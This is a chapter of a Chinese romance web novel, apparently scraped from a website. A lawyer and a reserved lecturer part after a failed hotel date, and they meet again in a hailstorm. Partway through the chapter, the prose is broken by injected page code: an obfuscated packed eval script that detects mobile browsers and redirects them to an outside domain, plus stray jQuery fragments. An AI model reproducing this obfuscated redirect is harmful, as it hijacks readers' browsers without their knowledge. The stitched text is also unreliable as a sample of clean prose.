04.
“你脸上的伤怎么回事?”
灯光暴露的不仅仅是李勤的窘迫,还有赵客脸颊的红色划痕。她没说那是一巴掌,但任谁都看得出来那是指甲把脸擦伤的痕迹。
赵客不以为意,起身靠到床头,重又搭上浴巾:“又一个为爱发疯的女人而已,无能的时候暴力发泄,以为这样就会挽回一个男人的爱,真是天真的令人心疼啊。”
“什么意思?”
“一位女客户,拿到了三千万的离婚费却不满意,一心只想得到男人的真爱。”赵客按了按伤口,嘶了一声,嗤笑道:“那男的要是有那东西,还至于给她钱。倒是可怜我这个一心为客户谋幸福的伟大律师辛苦赶过去,被牵连无辜遭殃,冲上前舍生取义,你说说,我这不比做医生的有魅力?”
李勤没搭理他的油腔滑调,想到他话里那个歇斯底里发疯的女人,她不合时宜的同情,而他眼里的冷漠和刻薄也让她产生一丝不适。
她选择最稳妥的方式开口:“这间房一晚上是1380吗?”
她需尽快结束这个荒唐诡异的夜晚,一边从包里拿出眼镜戴上,随时准备走人。
赵客感到被嫌弃的懊恼,咬牙切齿:“你不该先解释下我看到的照片是谁吗?”
任赵客想象力再丰富,也无法把照片里那暧昧散着热气的修长腿换成眼前这位穿着老套,带着厚重黑框眼镜,耷拉着毫无生机马尾的老学究。
李勤顿了顿,一颗颗扣子解开她褐色方格风衣。
“你干什么……”赵客再次看清她土黄色裤子包裹的大长腿,按照她的身高比例来说,那张照片里的腿确实该是她的。
赵客:“……”
暴殄天物!
赵客平生两大爱好,钱和腿。
前者他疯狂在赚,后者可遇不可求,因为平常和各种女客户打交道,导致他往往还没开始欣赏女人漂亮的腿,先被对方各种恐怖思想吓退。
以至于好不容易遇见一个他非常爱的腿,做事都荒唐了几分,他想过真人可能远不如腿有魅力……
但是!
赵客向来在女人面前乐于装绅士,虚伪又爱演,张嘴是“我懂女性在现代社会的困境”,闭嘴是“男性主体凝视的自我感觉良好与傲慢让我都耻于做男人”,他好似从小受到文雅家风的熏陶,熟背波伏娃的《第二性》,恨不得时时替女人伸冤喊屈。
然而,保守、死板、教条的女人是他最讨厌的一类!
人还坐在床上,演都不演了。
“这位女士,大清亡了多长时间你知道吗?”视线落在她紧扣到顶,裹住脖子的衣领。
即将入夏,这段时间可都在高温预警!
李勤不解他的愤怒。
“所以……你还是想看腿?”
仔细想来,他们互动逐渐多起来就是在她发了那张私密照后。
她感到不堪和懊恼。
不过如此。
她想转身就走。
赵客:“……”
话说的好像没错,可这话说的也太糙了。
他是这种人吗?
目光忍不住再次从她老套的眼镜移向那宽松老土都难掩饰纤细漂亮的大长腿上。
靠,他就这么一个xp,为什么会是在一条大黄裤子里!
他言语挑剔,神情嫌弃,李勤反而在这样的氛围里感到舒心,她太习以为常这样的目光了,此前的慌张无措消失,她游刃有余的回应他的不满:“出一下收款码,我转一半房费给你。”
赵客嘴抽了抽。
电梯里,沉默的两个人站在对角线的两端,不管谁进来,大概率都不会把他们当做一间房里走出来的同伴。
李勤:“1380还能退吗?”
微妙氛围里她一板一眼地问,语气又是那个冷漠沉静的她。
赵客:“……不知道,一会前台我问问。”
“不行的话,那一半我还是转你吧。”刚才他没出付款码。
“不用。”
爱钱如他也挑剔的不想要账单里有这么一笔钱见证他的愚蠢。
两人再无话,一前一后走出电梯,笔挺高傲的男人往前台走,低调内敛的女人往大门去,谁能想到半小时前他们还在一张床上,准备尝试彼此第一次性|生活。
医院里,刚下手术台的邵阳煦接到赵客的电话,一头雾水地被骂了半小时。
邵阳煦:“艹……”
赵客久违的超强嘴贱功力输出,真是有一丝丝怀念了呢。
骂完邵阳煦,收到酒店的全额退款外加精神损失费,赵客吹了声口哨,神清气爽的把手机丢到一边,开着黑色大奔呼啸驶离了酒店。
李勤回到家里已是凌晨一点,靠在床边的她睡意全无,又从包里拿出那本厚重的书,脑子里想起的却是那封邮件。
“你这样的女人懂什么是情|欲吗?”
李勤努力回想刚才的场景,她有某种隐秘的快乐吗?她一无所觉,还是说,是否真的有了插|入这个动作,就能让女人灵魂震颤,好似立马被男人征服,她这样平庸老套的女人也会跟着鸡犬升天,变得不一样,成为讨喜的的大部分女人。
刘菡梅的咒骂飞快在耳边闪过,“隔壁村的贱女人真是丢人,被人抓奸在床,抓着胸|罩从村头打到村尾,连内|裤都没穿,诶呦,这种破鞋男人不打她才怪。”
“李勤,穿好你的衣服,搔首弄姿的勾引谁呢。”
周三校公选,一百多人的阶梯教室,她从前门走进,众目睽睽之下脚步变得沉重僵硬,视线忍不住在一排又一排的学生里逡巡,会是哪个同学看穿了她,看透她严丝合缝的衣服里架着一个干枯腐朽的灵魂。
关清怡在生了一个月的气后,别别扭扭地出现了。
李勤拿手机给她看,讲述她走之后的事情。
关清怡拍掌,丝毫不感到气馁,扒拉着软件誓要给她找到一个合适的,“不过……你这名字……我那斑比不好吗?”
她干笑。
【一女三吃】这个名字让关清怡看李勤的目光变得复杂。
“勤勤……”关清怡开始道歉,她不该逼着李勤为她的思想改变,她也不一定就是对的,只是她看着李勤被死去人的想法束缚会难受。
“嗯。”李勤明白她想说什么,拿回手机,“就这样吧。”
她也没想真通过这个软件怎么样。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861729|176064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
关清怡欲言又止。
……
大雨滂沱的夜晚,李勤去市图书馆,只拿了一把伞,走了十几分钟发现开始下细小冰雹了,街道两边悬铃木的叶子哗哗摇曳,加剧了某种不安和躁动。
石阶上行人匆匆,很多电动车与摩托为了寻求树荫的遮蔽都堵到了路上面,各种外卖与电动车的鸣笛声此起彼伏,李勤撑着伞步行都举步维艰。
噼里啪啦,她的伞在冰雹撞击下显得摇摇欲坠,骨架似乎随时会被砸断。
“草!什么鬼天气!安城还会下冰雹!”
“前面的瞎眼了,往前走啊!”后面有人喊,想往大树下靠一靠。
前面好不容易有大树遮挡,怎么可能舍得走,任你后面催促叫骂也纹丝不动。
李勤艰难的穿梭在车子中间,嘈杂吵闹不绝于耳,裤腿早已打湿,后背有细雨与冰雹齐齐扫进来,她的挎包也湿了大片,冰雹却越下越大。
越往天桥走叫骂声越高,路上的鸣笛声层出不穷。
难怪前面堵得水泄不通,冰雹越下越大,逐渐有蜷起来的指头大小,有的车主怕冰雹把车身砸坏,干脆把车停在了天桥下,后面的车想往里躲,头探出车玻璃疯狂骂前面。
天桥下的车不动如山,任你怎么骂,砸不到自己的车才是最大的,最惨的就是车头就要靠近天桥却被堵在外面的,既艳羡前面,又被后面鸣笛咒骂。
“靠!”
赵客就是那一排大怨种之一,头从窗外收回,降下车窗,抹了把脸上的冷雨,生气也无奈地砸了把方向盘,眼看着前面的白色大众挡在他前面,完美的停在天桥下,可怜自己的车头被冰雹无情狂虐。
大雨倾斜,天地都幻化为迷离车灯与躁动鸣笛。
他烦躁地按着喇叭,轰鸣声里人行道上一个老气横秋的背影让他目光又移了回来。
那道黑色背影打着一个深绿色的写着“保险”字样的雨伞,艰难的想要穿过两个外卖车中间,但雨伞不小心碰到旁边的人,正发生着微小龃龉。
细密雨水倾斜而下,黑暗树影不安摇晃,昏暗的黄色灯光照亮胖高男人的不满,他呲牙咧嘴叫骂着什么,女人面无表情看他。
那张厚重眼镜框掩盖了她所有情绪。
只推了下眼镜,沉稳说着什么。
赵客懒洋洋地叼着烟,透过朦胧烟雾,他几乎可以想象那老学究怎么一板一眼跟人讲道理,慢吞吞的,像个老蜗牛。
叫骂声四起,她在一片喧嚣声里安静的格格不入,那黄色裤腿连带黑色老式皮鞋早已陷入灰色水泥坑里,狼狈又沉稳推眼镜的样子,好似什么都难撼动她死板面孔。
车玻璃降下,烟灰弹出,冰雹顺势扫进,凄风冷雨裹挟他的面颊。
“艹!”
赵客鸣笛又喊,“喂!”
隔着非机动车道的距离,一片雨雾朦胧的混乱、躁动、不安的氛围里,女人半晌才缓慢转身,绿色雨伞倾斜,隔着雨雾抬睫看过来。
阴雨晦冥,天昏地暗。
噼里啪啦的冰雹敲打车身,黄色车灯穿透绵绵雨雾,满地破碎落叶与冰雹,天桥下人潮拥挤。
喧嚣世界,两人四目相对。